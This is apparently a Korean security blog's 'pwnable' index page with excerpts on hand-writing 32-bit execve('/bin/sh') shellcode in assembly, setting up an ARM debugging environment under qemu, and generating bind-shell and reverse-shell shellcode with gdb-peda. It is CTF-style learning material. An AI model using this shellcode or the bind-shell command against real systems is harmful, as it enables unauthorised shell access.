pwnable 24

쉘코드 만들기 (직접)

처음으로 쉘코드를 만들어 보았다.일단 32비트 기준으로eax : system call 번호ebx : 첫 번째 매개변수ecx : 두 번째 매개변수edx : 세 번째 매개변수 맞춰준 다음에, int 0x80으로 시스템 콜 목표는 execve(&"/bin/sh", NULL, NULL); xor eax,eax push eax mov ecx,esp mov ecx,esp push 0x68732f2f push 0x6e69622f mov ebx,esp mov al,0xb int 0x80 간단 ㅋ이걸 pwntools asm 함수를 쓰거나, 온라인 어셈블러로 opcode로 만들어준 후 콜하면 된다. #include char * sc = "\xe9\x0f\x10\x00\x00\x5b\x31\xc0\x50\x89\xe2\x8..

pwnable/Shellcoding 2018.12.23

arm 디버깅 환경 구축

일단 설치 sudo apt-get install gdb-multiarch sudo apt-get install qemu-user-static sudo apt-get install gcc-arm-linux-gnueabi 그다음에 armlib이라는 폴더 생성 후 qemu와 lib을 모두 넣는다. mkidr armlib cp -r /usr/arm-linux-gnueabi armlib cd armlib ld와 libc 추가 ln -s /usr/arm-linux-gnueabi/lib/ld-linux.so.3 /lib ln -s /usr/arm-linux-gnueabi/lib/libc.so.6 /lib 이 상태에서 실행 및 디버깅 한다. chroot . ./qemu-arm-static -g [port] ./[bin..

pwnable/arm 2018.09.11

쉘코드 만들기 (tool)

gdb-peda$ shellcode generate입력하면 만들 수 있는 쉘코드 종류가 나온다. connect는 리버스 쉘 연결이고bindport는 자기가 열어놓고 기다린다. 즉, connect로 하면 내가 nc -lvp 8888 처럼 포트 열어놓고 기다려야 한다..... (이거때매 삽질함)bindport를 사용하면 열리니까, 그냥 접속하면 된다. 쉘코드 생성방법은 다음과 같다. 아래는 복붙용ㅋshellcode generate x86/linux bindport 8888 127.0.0.1

pwnable 2018.08.25